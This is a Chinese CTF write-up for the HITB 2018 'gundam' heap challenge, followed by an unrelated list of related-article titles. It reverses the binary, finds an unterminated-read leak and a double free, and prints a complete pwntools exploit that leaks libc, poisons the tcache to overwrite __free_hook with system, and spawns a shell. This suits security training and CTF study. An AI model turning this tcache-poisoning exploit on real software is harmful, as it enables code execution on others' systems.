[堆利用:TCache机制]HITB CTF 2018:gundam

题目链接:https://github.com/moonAgirl/CTF/tree/master/2018/Hitbxctf/gundam

0x00 逆向分析

sub_AEA

unsigned __int64 sub_AEA()
{unsigned __int64 v1; // [rsp+8h] [rbp-8h]v1 = __readfsqword(0x28u);puts(&s);puts("1 . Build a gundam ");puts("2 . Visit gundams ");puts("3 . Destory a gundam");puts("4 . Blow up the factory");puts("5 . Exit");puts(&s);printf("Your choice : ");return __readfsqword(0x28u) ^ v1;
}

先看一下菜单,字面意思很好理解
1.构造一个高达 2.遍历输出每个高达 3.删除一个高达 4.炸掉工厂 5.退出
然后按顺序看看每个功能对应的函数

sub_B7D 构造高达

__int64 sub_B7D()
{int v1; // [rsp+0h] [rbp-20h] BYREFunsigned int i; // [rsp+4h] [rbp-1Ch]void *s; // [rsp+8h] [rbp-18h]void *buf; // [rsp+10h] [rbp-10h]unsigned __int64 v5; // [rsp+18h] [rbp-8h]v5 = __readfsqword(0x28u);s = 0LL;buf = 0LL;if ( (unsigned int)dword_20208C <= 8 ){s = malloc(0x28uLL);memset(s, 0, 0x28uLL);buf = malloc(0x100uLL);if ( !buf ){puts("error !");exit(-1);}printf("The name of gundam :");read(0, buf, 0x100uLL);*((_QWORD *)s + 1) = buf;printf("The type of the gundam :");__isoc99_scanf("%d", &v1);if ( v1 < 0 || v1 > 2 ){puts("Invalid.");exit(0);}strcpy((char *)s + 16, &aFreedom[20 * v1]);*(_DWORD *)s = 1;for ( i = 0; i <= 8; ++i ){if ( !factory[i] ){factory[i] = s;break;}}++dword_20208C;}return 0LL;
}

几行关键性的代码:

s = malloc(0x28)
buf = malloc(0x100uLL);
read(0, buf, 0x100uLL);
*((_QWORD *)s + 1) = buf;
strcpy((char *)s + 16, &aFreedom[20 * v1]);
*(_DWORD *)s = 1;for ( i = 0; i <= 8; ++i ){if ( !factory[i] ){factory[i] = s;break;}}

可以分析出高达的结构体

struct gundam{uint32_t flag;char *name;char type[24];
}gundam;
struct gundam *factory[9]

每个高达都包含了两个chunk,一个0x30大小的factory,一个0x100大小的name。
factory主要装了一个flag,用于表示工厂内是否有高达(之后删除高达会用到),
一个name chunk的指针,一个高达类型,根据用户选择对应一个字符串。
特别关注一下read函数,buf的大小是0x100而读取大小也是0x100,并且没有对最后一位字符进行\x00处理,因此存在信息泄露。
name内部只有字符串,很简单的构造。

sub_EF4 遍历输出高达信息

__int64 sub_EF4()
{unsigned int i; // [rsp+4h] [rbp-Ch]if ( dword_20208C ){for ( i = 0; i <= 8; ++i ){if ( *((_QWORD *)&factory + i) && **((_DWORD **)&factory + i) ){printf("\nGundam[%u] :%s", i, *(const char **)(*((_QWORD *)&factory + i) + 8LL));printf("Type[%u] :%s\n", i, (const char *)(*((_QWORD *)&factory + i) + 16LL));}}}else{puts("No gundam produced!");}return 0LL;
}

没有什么特别的内容。

sub_D32 删除一个高达

__int64 sub_D32()
{unsigned int v1; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);if ( dword_20208C ){printf("Which gundam do you want to Destory:");__isoc99_scanf("%d", &v1);if ( v1 > 8 || !factory[v1] ){puts("Invalid choice");return 0LL;}*(_DWORD *)factory[v1] = 0;free(*(void **)(factory[v1] + 8LL));}else{puts("No gundam");}return 0LL;
}

可以看到删除高达的操作是
1.将flag置0
2.free掉name的chunk
从中可以发现的漏洞:free掉name后指针没有置空,依旧可以free

sub_E22 炸掉工厂

unsigned __int64 sub_E22()
{unsigned int i; // [rsp+4h] [rbp-Ch]unsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);for ( i = 0; i <= 8; ++i ){if ( *((_QWORD *)&factory + i) && !**((_DWORD **)&factory + i) ){free(*((void **)&factory + i));*((_QWORD *)&factory + i) = 0LL;--dword_20208C;}}puts("Done!");return __readfsqword(0x28u) ^ v2;
}

把所有flag=0但是结构体不为0的factory全都free了

0x01 漏洞利用

1.泄露地址
2.double free,构造堆快,修改__free_hook
3.执行system(’/bin/sh’)

先放一下方便操作的对应功能的函数定义

def build(name):io.sendlineafter("choice : ","1")io.sendlineafter("gundam :",name)io.sendlineafter("gundam :",'0')def visit():io.sendlineafter("choice : ",'2')def destroy(idx):io.sendlineafter("choice : ",'3')io.sendlineafter("Destory:",str(idx))def blow_up():io.sendlineafter("choice : ",'4')

1.泄露地址

在sub_B7D中提到,read函数并没有对输入字符串末进行处理,因此只要装满就能泄露字符串后的地址。但是在2.26版本中,free掉堆块是会被放到tcache里的,tcache的位置在heap的底部,和libc之间的地址差存在随机性。但是tcache有容量上限,只要把tcache中的7个位置装满,第八个就会被放到unsorted bin中。

    for i in range(9):build('A'*7)for i in range(8):destroy(i)blow_up()

先随便多造几个高达,然后free掉8个,并把他们的工场都用blow_up函数都炸了,用pwndbg可以看到此时的堆是这样的:

可以看到有7个chunk进了fastbin,第八个的factory进了fastbin,name进了unsortedbin。
此时,我们再把他们八个高达build出来,看一下效果

 for i in range(7):build('A'*7)build('B'*7)


可以看到所有的chunk都被激活了,我们再仔细看看第八个chunk,也就是我塞了7个’B’的chunk。

然后就会惊喜的发现,在BBBBB后面连着一个神秘的7f开头的地址。
跳过去看看:

好家伙,这不是main_arena的地址吗。

通过vmmap可以看到,这个main_arena的地址在libc基地址下方,和heap相反,这里不会受到随机地址的影响,因此可以直接推算出libc的基地址。


看一下程序执行过程中,泄露的效果。
通过本地调试即可算出这个地址和libc基地址之间的距离,从而继续推算出system函数地址以及__free_hook函数的地址,具体过程就不详细讲了,直接放脚本:

def leak():global free_hook_addr,system_addrfor i in range(9):build('A'*7)for i in range(8):destroy(i)blow_up() for i in range(7):build('A'*7)build('B'*7)io.interactive()visit()leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00'))libc_base = leak - 0x3dac78free_hook_addr = libc_base + libc.sym['__free_hook']system_addr = libc_base + libc.sym['system']log.info('libc:0x%x' % libc_base)log.info("__free_hook:0x%x" % free_hook_addr)log.info("system:0x%x" % system_addr)

这里的偏移地址0x3dac78就是之前第八个chunk泄露的地址和vmmap里看到的libc基地址相减得到的。
即7f687cd88c78(泄露地址) - 0x7f687c9ae000(libc基地址) = 0x3dac78(偏移地址)

2.double free,构造堆快,修改__free_hook

在2.26的tcache中不存在doublefree的检测机制,而之前我们也提到,sub_D32 也就是删除高达的函数,在free掉name之后并没有删除name指针,也就是说可以进行double free的操作。和fastbin不同,tcache的double free甚至不需要换一个堆free,直接两次free即可。

    destroy(2)destroy(1)destroy(0)#1destroy(0)#2blow_up()

看似简单的五行代码其中暗藏玄机
前三行就是简单的按顺序free了三个name堆块。
在#1处attach一下,看看此时的堆块分布:

有三个堆块进入了fastbin

之后再到#2处attach一下:

然后就会惊人的发现,明明又free了一个堆块,但是显示的堆块并没有增加一个,反而减少了两个。
与此同时,还会发现这个free chunk的fd指针,指向的是它自己的用户区域,也就是chunk首地址+0x10的位置。
为了方便理解,我用excel做了个草图

可以看到,在#1处,tcache还是一个正常的单链表,但是当我再free一个chunk0的时候,它会按顺序进行如下操作:
1.将新free的chunk的fd指针指向头节点指向的第一个chunk,也就是把新来的chunk0的fd指针,指向了第一个chunk(还是chunk0)
2.把头节点的指针指向新free的chunk
因此就构成了图中这样的结果。
而此时,也就完成了double free。

然后执行了blow_up,将之前的0 1 2的工厂都炸了,方便之后构造三个chunk 0 1 2。

 build(p64(free_hook_addr))build('/bin/sh')build(p64(system_addr))

这里就是chunk构造部分。接着之前完成的double free,此时的chunk0内部是这样的:

可以看到chunk0内部只有一个指向自己的地址。
然后,执行build(p64(free_hook_addr))

可以看到,chunk0的fd指针已经变成了7f开头的__free_hook地址。

再执行build(’/bin/sh’),

此时,chunk0变成了只装了一个’/bin/sh’字符串的chunk了

与此同时,我们可以看到,tcache的头指针已经指向了__free_hook函数。
因为在上一步操作后,chunk0的fd指针已经指向了__free_hook,也就是说,当chunk0再被申请以后,再下一次申请,就会创建一个以__free_hook地址为起始用户区域的一个chunk,分配给它。

最后一步,执行build(p64(system_addr)),申请一个堆块,并将system函数的地址写入,本质上就是申请了以__free_hook为用户区域起始地址的chunk。也就是将__free_hook的地址改成了system。
到此,构造chunk已经结束,我们已经成功将system函数绑定在了free的钩子上,此时只要free一个用户区域是’/bin/sh’的chunk,就相当于执行了system(’/bin/sh’),就能成功获得shell。
于是执行

 destroy(1)    io.interactive()

成功获得shell。

0x03 脚本

from pwn import *
from LibcSearcher import *io = process('./gundam')
libc = ELF('/home/bi0x/ctf/tools/glibc-all-in-one/libs/2.26-0ubuntu2_amd64/libc.so.6')
#context.log_level="debug"def build(name):io.sendlineafter("choice : ","1")io.sendlineafter("gundam :",name)io.sendlineafter("gundam :",'0')def visit():io.sendlineafter("choice : ",'2')def destroy(idx):io.sendlineafter("choice : ",'3')io.sendlineafter("Destory:",str(idx))def blow_up():io.sendlineafter("choice : ",'4')def leak():global free_hook_addr,system_addrfor i in range(9):build('A'*7)for i in range(8):destroy(i)blow_up() for i in range(7):build('A'*7)build('B'*7)visit()leak = u64(io.recvuntil("Type[7]",drop=True)[-6:].ljust(8,'\x00'))libc_base = leak - 0x3dac78 #这里的偏移地址请在本地调试自行计算free_hook_addr = libc_base + libc.sym['__free_hook']system_addr = libc_base + libc.sym['system']log.info('libc:0x%x' % libc_base)log.info("__free_hook:0x%x" % free_hook_addr)log.info("system:0x%x" % system_addr)def overwrite():destroy(2)destroy(1)destroy(0)destroy(0)blow_up()build(p64(free_hook_addr))build('/bin/sh')build(p64(system_addr))def pwn():destroy(1)    io.interactive()def debug(id):log.info('check point %d' % id)gdb.attach(io)pause()if __name__ == "__main__":leak()overwrite()pwn()

[堆利用:TCache机制]HITB CTF 2018:gundam相关推荐

  1. 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3

    [CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...

  2. pwn题堆利用的一些姿势 -- IO_FILE

    IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...

  3. pwn题堆利用的一些姿势 -- free_hook

    free_hook 概述 初级必备姿势 常规搭配姿势 按需进阶姿势 总结 pwn题堆利用的一些姿势 – malloc_hook pwn题堆利用的一些姿势 – IO_FILE pwn题堆利用的一些姿势 ...

  4. android利用反射调用截屏api,Android利用反射机制调用截屏方法和获取屏幕宽高的方法...

    想要在应用中进行截屏,可以直接调用 View 的 getDrawingCache 方法,但是这个方法截图的话是没有状态栏的,想要整屏截图就要自己来实现了. 还有一个方法可以调用系统隐藏的 screen ...

  5. 利用委托机制处理.NET中的异常

    利用委托机制处理.NET中的异常<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office&quo ...

  6. 利用反射机制获取未知类型的枚举的信息

    原文:利用反射机制获取未知类型的枚举的信息 开发游戏设置选项遇到一个问题,我有两个枚举,一个是屏幕分辨率,一个是语言 我需要在不知道一个枚举到底是哪一个枚举类型的情况下,获取这个枚举的值以及这个枚举类 ...

  7. 为什么有的项目不能打断点_《街霸:对决》:有效利用“打断”机制,让玩家在战斗中越级战斗...

    虽说<街霸:对决>手游将老IP优化为了卡牌对战类型的角色,在可玩性方面的确是要优秀很多,但同时也减少了角色的竞技性,不过玩家在战斗中肯定还是需要掌握一定的战斗技巧才可以的,不然的话很难越级 ...

  8. java判断对象无数据_java利用反射机制判断对象的属性是否为空以及获取和设置该属性的值...

    1.java利用反射机制判断对象的属性是否为空: Map validateMap = new LinkedHashMap(); validateMap.put("serial", ...

  9. 利用反射机制创建新类的两种方式及比较

    [0]README 0.1) 本文描述+源代码均 转自 http://blog.csdn.net/fenglibing/article/details/4531033 , 旨在深入理解 如何利用反射机 ...

  10. 利用钩子机制取得Windows的消息监控权

    利用钩子机制取得Windows的消息监控权 我们知道,Windows系统是建立在消息传递机制基础上的,几乎所有的程序活动都由消息来驱动.Windows的钩子机制可以看作是一个消息中转站,控制系统发出消 ...

最新文章

  1. 谷歌最新黑科技:裸眼3D视频通话,宛如真人面对面!Jeff Dean:魔镜啊魔镜
  2. AlarmManager与PendingIntent的联合使用(一)
  3. C++代码片段(五)tuple的实现
  4. 最后一块石头的重量II
  5. 利用 LotusScript 灵活操作 Lotus Notes 富文本域
  6. apache过滤恶意频繁访问_采用网关过滤器实现权限验证及对异常统一处理
  7. STM8S——8位基本定时器(TIM4)
  8. bzoj4006 [JLOI2015]管道连接
  9. BS7799、ISO/IEC 17799、ISO/IEC 27001的联系与区别
  10. python计算正数,负数和复数的平方根
  11. JS调起支付宝进行银行卡转账
  12. 28天高效突击大礼包:微服务+分布式+框架,java开发spark视频
  13. 教你在微信头像上加口号,很实用!
  14. 自助建站:凡科建站和PageAdmin建站系统的比较
  15. 服务器内存超频性能,测试篇:内存超频性能测试
  16. 基于javaweb的生鲜商城系统(java+jsp+bootstrap+servlet+mysql)
  17. 数字孪生城市核心能力要素
  18. newifi3 web认证_newifi新路由3设置教程
  19. 深度技术 GHOST XP SP3 快速装机专业版 V9.9
  20. 研究交换友链注意事项及要求

热门文章

  1. 输入的产品无法再此计算机,一键重装系统时遇到“安装程序无法将Windows配置为在此计算机的硬件上运行”...
  2. 亚马逊运营教程,三招学会亚马逊
  3. 程序员工资待遇,投票!
  4. android 判断 飞行模式,Android 判断飞行模式的状态
  5. 新手入门笔记——linux常用命令总结
  6. Oracle查询语句中SYSDATE与HIRE_DATE的区分
  7. jsp调整字体大小font_html font标签如何设置字体大小?
  8. 【尚硅谷_数据结构与算法】一、数据结构与算法概述
  9. 谷歌街景地图推出“时光机”功能
  10. MSCS+FailSafe 双机集群做HA 小结